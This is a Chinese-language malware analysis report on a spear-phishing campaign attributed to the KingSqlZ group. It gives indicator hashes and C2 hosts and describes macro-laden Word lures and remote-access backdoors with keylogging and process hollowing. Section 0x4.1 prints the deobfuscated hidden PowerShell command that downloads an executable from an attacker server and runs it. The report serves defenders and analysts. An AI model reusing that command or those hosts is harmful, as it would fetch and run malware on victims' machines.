0x0 前言
近期,启明星辰ADLab监测到一批疑似针对西班牙语地区的政府机构及能源企业等部门的定向攻击活动。通过对攻击者的行为和所用服务器相关信息的分析和追踪,确定该次攻击来源于一批隐秘多年的土耳其黑客组织-KingSqlZ组织。该组织是一个民族主义色彩非常浓厚的黑客组织,曾攻下其他国家的3千多个网站服务器,并高调的在被攻击网站上留下其组织的名称,随后消失了多年。 如今通过研究人员的追踪再次挖出该黑客组织的活动迹象。此次攻击活动通过构造恶意Office Word文档并配合鱼叉邮件发起定向攻击,以“简历更新”作为诱饵文档向攻击目标植入间谍木马,从事情报收集、远控监视及系统破坏等恶意行动。在本次攻击过程中,该组织采用渗透手段攻下多台服务器并将其作为存放攻击代码的跳板。[转]
0x1 目录
- 1.目录
- 2.IoC
- 3.行为分析
- 4.样本分析
- 5.yara规则
- 6.后记
0x2 IoC
0x2.1 Hash
本次一共截获了两个和KingSqlZ
组织有关的可疑样本,其中有一个是一个doc样本,通过使用宏进行文件传播,IOC如下:
- 样本名称:4fb43047463380ae25cb7684433f6a7e4f4b8b1669048291aca20182877a2810.doc
- 样本Hash:4fb43047463380ae25cb7684433f6a7e4f4b8b1669048291aca20182877a2810
- 样本类型:ole文件(带宏)
另外一个是一个PE文件。IOC如下:
- 样本名称:298ee13829733e23557b5f0db3d93768c0665260be17dc9010288d33ca6fe77f.exe
- 样本Hash:298ee13829733e23557b5f0db3d93768c0665260be17dc9010288d33ca6fe77f
- 是否加壳:无壳
- 编译语言:maybe C++ Visual Studio 201x or Asm demo/example [DebuG]
以及这两个样本释放的其他样本的IOC(不包括内存转储):
- 2d69c9a9622b9b812db1833caec237995eedd0dee59ece53bd359e7083023f47
- 9211473ae545a0248b4ef4bb1bea1acffc1ec85ecb42194984266416720a7f73
- c242bfb6aa6d47087d77d25955bd48a5421fb0353049828ec99d44e119874b7a
- 7a01dd19b5a74e7023d19a19065f49fb013c9f0f7fee974d717d46a8369b8e60
0x2.2 C2
- http://www.gestomarket.co/ylqrg54.exe
- asdfwrkhl.warzonedns.com
- linksysdatakeys.se
- 67.228.235.93
- 187.136.91.177
- 187.155.84.184
- 31.13.73.17
- 67.228.235.93
- 31.13.73.23
- 74.86.228.110
- 187.155.84.184
- 69.171.239.11
- 187.155.47.67
- 66.220.147.47
- 31.13.86.1
- 31.13.75.17:2404
- 备注:这些主机本身不具备相关性,因为他们都是由于被该组织渗透成为该组织攻击的跳板
0x3 行为分析
名称统一使用Hash的前几个字符加后缀的方式命名。主要操作是远控类木马。
0x4 样本分析
0x4.1 4fb430.doc
是一个doc宏病毒样本,通过使用oledump获取其中的宏代码。
发现宏代码被混淆严重,去混淆结合沙箱的结果推测具体行为如下:
- 宏代码调用cmd,解密其中的十进制数据。
接着调用powershell。下载massive.exe
1powershell.exe -w hidden -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://www.gestomarket.co/ylqrg54.exe',$env:temp + '\massive.exe');运行massive.exe
0x4.2 massive.exe
首先这个样本是一个C#程序,使用ILSpy查看源代码。
将程序定位到关键的地方。发现这个样本也只是一个外壳程序,用于从攻击跳板上获取攻击代码,然后将其写入我们的内存中,从内存中执行攻击代码,实现了无文件落地,有效规避了查杀。
使用进程替换技术,先创建一个和自身相同的子进程,然后使用进程替换进程,执行我们的攻击代码。但是由于C#不好被调试,所以将其子进程转储得到我们落地的攻击样本如下,命名为DumpFrommassive.exe
0x4.3 DumpFrommassive.exe
创建一个互斥体,然后获取多个API函数地址
接着判断是否是X64系统,然后通过注册表SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName
获取系统的版本信息。
当判断是xp系统,就去获取HKEY_CURRENT_USER\origmsc数据,但是分析机器上未发现这样的键。
利用注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 关闭UAC通知
通过当前的环境变量获取特殊目录的路径
获取目标进程的相关信息包括模块和32/64位进程,这个进程是由于注册表中的数据决定。
由于转储很多静态数据丢失,过于细节的数据没有办法复现。
由于该组织使用渗透的方式,得到多台服务器的控制权,让这些服务器充当此次攻击的跳板机和C2
通过设置键盘钩子的形式,记录键盘输入,和剪切板数据
创建新线程,执行截图
创建新线程进行音视频传输
清空主流浏览器的COOKIE和保存的表单(账户和密码),这样就可以在用户重新输入密码的时候记录下来。
获取用户名,机器名称,主要是识别作用
关闭数据执行保护DEP
执行后门远控操作,主要的行为有键盘记录,截图,视频,发送数据,联网下载数据,检索服务,创建开启服务,程序执行,傀儡进程,提权关机。
- 提权关机
- 键盘记录
- 发送键盘输入数据
- 安装软件信息,并发送
- 从Internet上读取可执行的shellcode,并执行
- 获取进程列表
- 利用管道实现和C2之间的数据交互
- 截图
- 键盘区域
- 删除,清空文件
- 清空COOKIE和用户名密码
- 音视频
- 从Internet上下载数据并执行
- 获取服务相关信息
综上,对此样本定性为后门远控类文件。
0x4.4 298eeexe.exe
0x4.5 2XC2DF0S.exe
- SHA256为2d69c9a9622b9b812db1833caec237995eedd0dee59ece53bd359e7083023f47,查壳是UPX的壳,ESP拖一下.
- 主要使用了SMC技术
根据动态分析,可以得到样本创建了fyhgzmilgyvvgdu.exe和\「开始」菜单\程序\启动\创建fyhgzmilgyvvgdu.eu.url。创建url的目的是实现了fyhgzmilgyvvgdu.exe的自启动
创建自身子进程,并进行进程替换
- dump出傀儡进程的PE数据,命名为DumpFrom2d69exe.exe_
0x4.6 DumpFrom2d69exe.exe_
- 首先样本会先链接到C2服务器
asdfwrkhl.warzonedns.com
,当确认链接上asdfwrkhl.warzonedns.com
,此时会从C2上接收数据
- 然后将自身路径写入SOFTWARE\_rptls注册表中,但是注意的是这个是从2XC2DF0S.exe转储出来的,所以原始的模块名应该是2XC2DF0S.exe。加载资源文件,然后有个函数是解密shellcode,然后在把加载入内存的资源文件作为参数传入,初步怀疑应该从内存中执行。这样有效避免了查杀。将资源文件命名为Resource.bin
- 直接就是一个后门程序的主体框架。主要包括三大类的功能,第一交流通信,第二,下载执行,第三,信息记录,第四,测试退出,第五驻留操作。
- 第一:通信交流
- 第二:下载执行,但是由于分析的时候,没有处于攻击窗口期,所以没有办法了解到此次下载的是何种程序,然后加载了一些网络库,运行时库
- 第三:信息记录,主要是键盘记录,和常见的手段一样,使用了钩子技术,截获用户的键盘输入,并记录按键信息,把并发送个C2服务器
第四:结束退出,也就是,断开连接,终止线程,删除自身
第五:驻留操作。包含了释放资源,运行服务,添加用户等
0x4.7 Resource.bin
- 释放
C:\Users\hacky\AppData\Local\Temp\dismcore.dll
和C:\Users\hacky\AppData\Local\Temp\ellocnak.xml
- 然后调用C:\Windows\system32\pkgmgr.exe,安装安装KB929761更新包,可能目的是排除竞争者
0x4.8 dismcore.dll
- 读取SOFTWARE\_rptls的值,这个是其实是2XC2DF0S.exe的路径,然后截取去文件名。检查进程列表中是否存在这样的进程,有则关闭,然后在重新创建一个进程即可!
0x5 yara规则编写
-
0x6 后记
学习样本分析两年了,从最开始的简单的蠕虫到后来的勒索病毒,再到挖矿病毒,再到现在的APT样本。总结一下,样本分析最重要的是心细和心诚。心细不多说。何谓心诚,心诚则灵。对于样本,我们也需要有敬畏之心,需要刨根问题,也就是说,作为一个合格的病毒分析师,首先你需要判断文件黑白,但能够辨别黑白也只能给你打60分。如何成为一个优秀的病毒分析师?在于刨根问底,在于洞悉原理,不是简单的知道样本执行了什么操作。肉眼看到的仅仅都只是表面现象。就像这个样本那个宏一样,肉眼可见其实释放了一个exe,但是他是怎么释放的呢?你一概不知,这样你可能就失去了一个可靠的情报,或者说你很有可能凭借这过于自信的判断。导致你对这样本的判断是错误的.但是这对于用户来说是致命的。
专科学技术,本科学原理,博硕学辩证。对之于样本分析同,仅仅是懂得辩黑白仅仅就是专科的水平,不屑于言之,若能明晓原理,可达登堂入室之功,最后是辩证,也就是知道为何这样做是可行的,这样做是不可行的,不可行之处在于何处。